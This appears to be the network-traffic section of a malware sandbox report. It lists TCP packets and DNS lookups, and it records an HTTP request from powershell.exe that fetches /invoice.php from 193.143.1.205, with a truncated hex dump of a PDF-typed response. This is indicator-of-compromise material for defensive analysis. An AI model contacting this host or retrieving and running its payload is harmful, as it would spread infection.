Jan 10, 2025 11:07:03.401575089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.401575089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.401592970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401607037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401611090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.401622057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401643038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.401658058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401670933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401688099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401702881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.401710987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401725054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401731014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.401756048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401771069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401773930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.401793957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401806116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.401814938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.401840925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.416512966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.421384096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421397924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421412945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421446085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421458960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.421463966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421479940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421488047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.421494961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421519041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.421780109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421794891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421809912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421819925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.421858072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.421905041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421920061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421935081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421948910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421963930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.421972990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.422013044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.423021078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.429621935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.441366911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441394091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441407919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441482067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.441524029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441549063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441565037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441581011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441590071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.441596031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441628933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.441698074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441724062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441736937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441740990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.441752911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441767931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441771984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.441783905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.441803932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.443594933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.454674006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454700947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454716921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454752922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454756975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.454798937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454807043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.454813957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454828978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454833984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.454844952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454886913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.454931974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454955101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454971075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.454974890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.454986095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.455001116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.455003023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.455015898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.455044031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.457587004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.474842072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.474869967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.474884033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.474916935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.474932909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.474948883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.474952936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.474965096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.474980116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.474987030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475020885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475101948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475127935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475143909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475158930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475167036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475172997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475193977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475208044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475213051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475234032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475253105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475256920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475275040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475279093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475291967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475306988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475333929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475346088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475359917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475361109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475377083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475393057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475398064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475411892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475426912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475431919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475442886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475472927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475481033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475496054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475528955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475537062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475568056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475573063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475611925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475626945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475641012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475660086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475697994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475718021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475732088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475747108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475765944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475769997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475810051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475841045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475855112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475869894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475909948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.475941896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475960016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475975037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475990057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.475995064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.476006031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476030111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.476049900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476052999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.476092100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476108074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476123095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476140022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.476160049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476169109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.476175070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476191998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476207018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476221085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.476244926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.476291895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476316929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476332903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476346970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476366043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.476371050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.476406097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.477488041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.488672972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488718033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488754034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488764048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.488799095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488810062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.488821030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488841057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488862991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488863945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.488883018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488905907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488917112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.488925934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488956928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.488962889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.488987923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.489007950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.489008904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.489029884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.489049911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.489049911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.489070892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.489093065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.489111900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.489114046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.489132881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.489140034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.489156008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.489176989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.494076967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.508660078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.508783102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.508817911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.508840084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.508851051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.508877993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.508887053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.508920908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.508955002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.508964062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.508996010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.528269053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528328896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528378963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528384924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.528414965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528448105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528484106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528505087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.528517008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528528929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.528589964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528623104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528636932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.528657913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528691053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528714895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.528723955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528757095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.528768063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.528793097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.531495094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.541568041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541625023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541671038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.541673899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541708946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541759014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.541759014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541793108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541825056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541858912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541872025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.541903019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.541908979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541944027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.541976929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.542010069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.542027950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.542043924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.542056084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.542082071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.542125940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.561840057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.561856031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.561873913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.561944008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.562019110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.562035084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.562050104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.562057972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.562064886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.562078953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.562092066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.562093973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.562108994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.562123060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.562129974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.562139034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:03.562155962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.562190056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:03.709269047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:04.510179996 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:04.515341043 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:04.515651941 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:04.515784025 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:04.520620108 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:05.288723946 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 11:07:05.331990004 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 11:07:05.726233006 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 11:07:17.671113968 CET	58021	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:07:29.741367102 CET	50928	53	192.168.2.5	1.1.1.1
Jan 10, 2025 11:07:43.569050074 CET	51329	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 11:07:17.671113968 CET	192.168.2.5	1.1.1.1	0xfc1d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:07:29.741367102 CET	192.168.2.5	1.1.1.1	0x80c4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:07:43.569050074 CET	192.168.2.5	1.1.1.1	0x6a7e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 11:07:16.178827047 CET	1.1.1.1	192.168.2.5	0x9bb5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:07:16.178827047 CET	1.1.1.1	192.168.2.5	0x9bb5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:07:17.678267956 CET	1.1.1.1	192.168.2.5	0xfc1d	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 11:07:29.748891115 CET	1.1.1.1	192.168.2.5	0x80c4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 11:07:43.576585054 CET	1.1.1.1	192.168.2.5	0x6a7e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 11:08:18.169090986 CET	1.1.1.1	192.168.2.5	0x374e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 11:08:18.169090986 CET	1.1.1.1	192.168.2.5	0x374e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5160	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 11:07:02.023849010 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 11:07:02.820388079 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 10:07:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 